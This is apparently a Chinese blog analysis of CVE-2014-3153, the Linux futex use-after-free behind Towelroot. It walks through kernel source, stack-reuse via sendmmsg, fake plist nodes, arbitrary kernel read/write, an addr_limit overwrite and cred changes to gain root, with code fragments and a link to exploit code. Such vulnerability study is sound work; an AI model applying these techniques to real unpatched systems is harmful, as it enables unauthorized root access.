2016-02-26

CVE-2014-3153内核漏洞分析

简介

漏洞是14年5月份爆,属于linux内核漏洞,影响范围非常广,包括linux系统(内核版本3.14.5之前)和andorid系统(系统版本4.4之前)。受影响的系统可能被直接DOS,精心设计可以获取root权限,如安卓root工具towel。

该漏洞主要产生于内核的 Futex系统调用,漏洞利用了 futexrequeue,futexlockpi,futexwaitrequeuepi三个函数存在的两个漏洞,通过巧妙的组合这三个系 统调用,攻击者可以造成futex变量有等待者,却没有拥有者,即所谓的野指针,通过函数栈填充,可以修改栈上的等待者rt_mutex中的数据,控制内核等待队列节点,通过插入节点的方式读写内核数据,达到提权目的。

这个漏洞网上分析文章比较多,详见参考文章,这里只记录自己在分析过程中踩过的坑和几个漏洞利用的技术点。

漏洞成因

漏洞主要利用的三个函数futexrequeue,futexlockpi,futexwaitrequeuepi,简单说明,详细自行google。

// 加锁的函数,在uaddr1上等待
futex_lock_pi (uaddr) 

//Wait on uaddr1 and take uaddr2 线程阻塞在uaddr1上,然后等待futex_requeue的唤醒,唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_wait_requeue_pi(uaddr1, uaddr2)  

//Requeue waiters from uaddr1 to uaddr2 唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_requeue(uaddr1, uaddr2)     

uaddr在内核中会对应一个"等待队列"(其实是一个全局的队列),每个挂起的进程在等待队列中对应一个futex_q结构:

struct futex_q {
    struct plist_node list;             // 链入等待队列
    struct task_struct *task;           // 挂起的进程本身
    spinlock_t *lock_ptr;               // 保存等待队列的锁,便于操作
    union futex_key key;                // 唯一标识uaddr的key值
    struct futex_pi_state *pi_state;    // 进程正在等待的锁
    struct rt_mutex_waiter *rt_waiter;  // 进程对应的rt_waiter
    union futex_key *requeue_pi_key;    // 等待被requeue的key
    u32 bitset;                         // futex_XXX_bitset时使用
};

漏洞触发流程图: exploit-cve-2014-3153-1

1.线程线程A调用futexlockpi(B)获取锁B,

2.线程B调用futexwaitrequeuepi(A, B)阻塞在A上等待futexrequeue唤醒,

3.线程A调用futexrequeue(A, B)去唤醒B,但是B已经被锁,所以无法唤醒线程B,并进入内核态在锁B的任务队列中生成了一个rtwaiter节点

4.线程A将B置0重新调用futexrequeue(B, B),此时成功获得锁B并返回,分支走向支会走向 requeuepiwakefutex,尝试唤醒等待的线程。

static inline
void requeue_pi_wake_futex(struct futex_q *q, union futex_key *key,
               struct futex_hash_bucket *hb)
{
    get_futex_key_refs(key);
    q->key = *key;
 
    __unqueue_futex(q);
 
    WARN_ON(!q->rt_waiter);
    q->rt_waiter = NULL;
 
    q->lock_ptr = &hb->lock;
 
    wake_up_state(q->task, TASK_NORMAL);
}

注意,这里线程B的futexq.rtwaiter被置NULL了。

5.线程B被唤醒,futexwaitrequeue_pi(A, B)执行成功。

static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
                 u32 val, ktime_t *abs_time, u32 bitset,
                 u32 __user *uaddr2)
{
    struct hrtimer_sleeper timeout, *to = NULL;
    struct rt_mutex_waiter rt_waiter;
    struct rt_mutex *pi_mutex = NULL;
    ...

    /* Check if the requeue code acquired the second futex for us. */
    if (!q.rt_waiter) {
        /*
         * Got the lock. We might not be the anticipated owner if we
         * did a lock-steal - fix up the PI-state in that case.
         */
        if (q.pi_state && (q.pi_state->owner != current)) {
            spin_lock(q.lock_ptr);
            ret = fixup_pi_state_owner(uaddr2, &q, current);
            spin_unlock(q.lock_ptr);
        }
    } else {
        /*
         * We have been woken up by futex_unlock_pi(), a timeout, or a
         * signal.  futex_unlock_pi() will not destroy the lock_ptr nor
         * the pi_state.
         */
        WARN_ON(!&q.pi_state);
        pi_mutex = &q.pi_state->pi_mutex;
        ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
        debug_rt_mutex_free_waiter(&rt_waiter);
         ...
}

在futexwaitrequeuepi函数中将会走后边的第一个分支,导致rtwaiter没有从q.pistate->pimutex摘除,从而导致了UAF。

漏洞利用

详细的漏洞利用过程网上的一些文章已经分析的很清楚了,这里只记录一些技术点。

修改内核数据

修改rt_waiter内容时候用的方法是栈复用,比如A申请了一个0x10大小的栈stack,A用完后stack的内容并不会在函数返回时清空,如果此时B再申请同样一个小小的栈,就会复用A申请的栈空间,利用相同的原理可以复用链表,详细的例子可参考其他分析文章。

在利用代码中,sendmmsg() API构造内核消息对象B,只要消息大小加上消息头的大小等于rtwaiter的大小, 那么这个消息很可能会重用rtwaiter占据过的内存。

其中sendmmsg() 函数栈上数据与rtwaiter的重叠部分为msgvec.msgname的部分内容和数据是iovstack(*(msgvec.msg_iov))的部分内容,所以填充这些地方的数据即可。

注意,当目标接受到数据后这个函数会立刻返回,利用代码中通过创建一个线程连接到本地端口,从该端口中接受数据,但是不执行读数据操作,形似:

bind()
listen()
while (1) {
      s = accept();
      log("i have a client like hookers");
}

就像将该函数hook掉一样,这个sendmmsg()函数将保存发送状态而不是立刻返回,从而保证数据能保留在内核栈中。

读写内核地址

读内核地址比较容易,通过控制进程优先级向fakenode节点插入前置节点,那么fakenode.node_list.prev即为插入节点的内核地址。

写内核地址稍微绕一点,通过控制进程优先级向两个节点中插入新节点,如下图所示: exploit-cve-2014-3153-2

优先级从右到左依次减小,比如分别取33,34,35,往中间插入优先级为34的新节点时,内核会先遍历这个链表,并获取优先级,内核遍历到fakenode节点,发现优先级为35,决定往fakenode节点前插入34,这个过程是

fake_node.prev.next = new_node;
new_node.prev = fake_node.prev;
fake_node.prev = new_node;
new_node.next = fake_node;

修改fakenode.prev即33的next指针内容为新节点地址,即写入了一个内核地址,所以可以通过修改fakenode.prev的值来写入任意地址。

提权

提权是通过修改自身线程的权限信息来达到修改权限的目的,但是要修改这些值就必须有读写权限。

这里有个threadinfo概念,每个线程都有一个线程栈,在栈的最底端存放这threadinfo结构体

struct thread_info {
    unsigned long flags;
    int preempt_count;
    unsigned long addr_limit;
    struct task_struct *task;
 
    /* ... */
};

其中addr_limit的值即用户可访问的最大内存地址,将这个值改为0xffffffff即可访问任何内核空间,从而能够修改权限。

如何或得这个地址?先来看下如何获取thread_info的地址。

static inline struct thread_info *current_thread_info(void) {
 return (struct thread_info *)
 (current_stack_pointer & ~(THREAD_SIZE - 1));
}
 

THREADSIZE为8192,因此threadinfo = $sp & 0xffffe000。 threadinfo = 栈地址 & 0xffffe000,所以& addrlimit = * thread_info + 8

然后通过上边写内核的方法可以改写addrlimit的值,但是有一个问题是,这个改写的值是rtwaiter的地址,而这个地址又是不可控的,所以造成的结果是改的这个值比原来的还小。

利用代码用了一个巧妙的方法,通过不断生成新的rtwaiter,并判断新的rtwaiter的值是否比要改线程的threadinfo地址大,如果大就能保证写进去的值比原来addrlimit值大,这样线程就有了访问自身addrlimit的能力,然后自己将addrlimit改为0xffffffff,伪代码如下:

rt_waiter_A = create_mew_rt_waiter();
thread_info_base_A = rt_waiter_A & 0xffffe000;
unsigned long * thread_A_addr_limit = & thread_info_base_A->addr_limit; 

while(1) {
    rt_waiter_B = create_mew_rt_waiter();

    if (rt_waiter_B > rt_waiter_A) {
// write rt_waiter_B to thread_info_base_A->addr_limit
thread_info_base_A->addr_limit = rt_waiter_B;
break;
    }
}

// thread A could write addr_limit
thread_info_base_A->addr_limit = 0xffffffff;

最后在该线程中通过修改线程的threadinfo.taskstruct -> cred -> secutiry进行提权,修改内容如下。

credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;

判断cpu进入内核

当系统调用syscall时,/proc/PID/task/TID/status中voluntaryctxtswitches会增加 在Linux中可以通过/proc看出cpu切入/切出次数, 比如 PID = 27288,用cat 命令搞一下:

 cat /proc/27288/status
 ...
 voluntary_ctxt_switches: 9950
 nonvoluntary_ctxt_switches: 17104
 ...

这里的9950和17104分别就是切入/切出 CPU的次数。 除了status之外,还可以看/proc/27288/schedstat 字段:

 cat /proc/27288/schedstat
 1119480311 724745506 27054

此处 27054 就是上面两个数值的和,代表切入切出总数值。

伪终端

通过创建伪终端读数据,使线程阻塞,在修改addr_limit的过程中就是通过这种方法进行等待修改。

HACKS_fdm = open("/dev/ptmx", O_RDWR);
 
unlockpt(HACKS_fdm);    // 允许对伪终端从设备的访问
slavename = ptsname(HACKS_fdm); // 函数用于在给定主伪终端设备的文件描述符时,找到从伪终端设备的路径名
open(slavename, O_RDWR);
...
read(HACKS_fdm, readbuf, sizeof readbuf);

伪造节点

利用代码中setup_exploit方法生成的两个可控节点方法:

static inline setup_exploit(unsigned long mem) {
    *((unsigned long *) (mem - 0x04)) = 0x81;   // prio = 129-120 = 9
    *((unsigned long *) (mem + 0x00)) = mem + 0x20; // rt_waiter9.prio_list.next = rt_waiter13
    //  + 0x04 = prio_list.prev
    *((unsigned long *) (mem + 0x08)) = mem + 0x28; // rt_waiter9.node_list.next = rt_waiter13.node_list
    // + 0x0c = node_list.prev
 
    *((unsigned long *) (mem + 0x1c)) = 0x85;   // prio = 133-120 = 13
    // + 0x20 = prio_list.next
    *((unsigned long *) (mem + 0x24)) = mem;    // rt_waiter13.prio_list.prev = rt_waiter9
    // + 0x28 = node_list.next
    *((unsigned long *) (mem + 0x2c)) = mem + 8;    // rt_waiter13.node_list.prev = rt_waiter9.node_list
}

这个是根据plistnode结构生成的两个节点,优先级分别为9和13,plistnode结构如下:

struct plist_node {
    int prio;   // 4
    struct list_head    prio_list;  // 0x8
    struct list_head    node_list;
};

整个利用代码都是通过向这两个节点中插入来读写内核的,其中参数long mem指向的是prio=9的prio_list,mem-4处填写的是其优先级。

arm移植x86

x86和arm唯一区别就是threadinfo结构不同,x86的threadinfo结构如下:

struct thread_info {
    struct task_struct  *task;          /* main task structure */
    struct exec_domain  *exec_domain;   /* execution domain */
    __u32           flags;              /* low level flags */
    __u32           status;             /* thread synchronous flags */
    __u32           cpu;                /* current CPU */
    int             preempt_count;      /* 0 => preemptable,
                                   <0 => BUG */
    unsigned long  addr_limit;
 
    /* ... */
};

所以稍作修改就能移植过去,代码参考https://github.com/lieanu/CVE2014-3153

总结

  1. 栈复用技巧(sendmmsg函数的使用)
  2. 利用链表达到任意地址写的技巧
  3. 修改addr_limit及cred技巧,利用技巧很通用,基本适合任何能够泄露内核地址的漏洞
  4. gdb内核调试

参考

Exploiting the Futex Bug and uncovering Towelroot cve2014-3153 漏洞之详细分析与利用 CVE-2014-3153笔记 The Futex Vulnerability

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...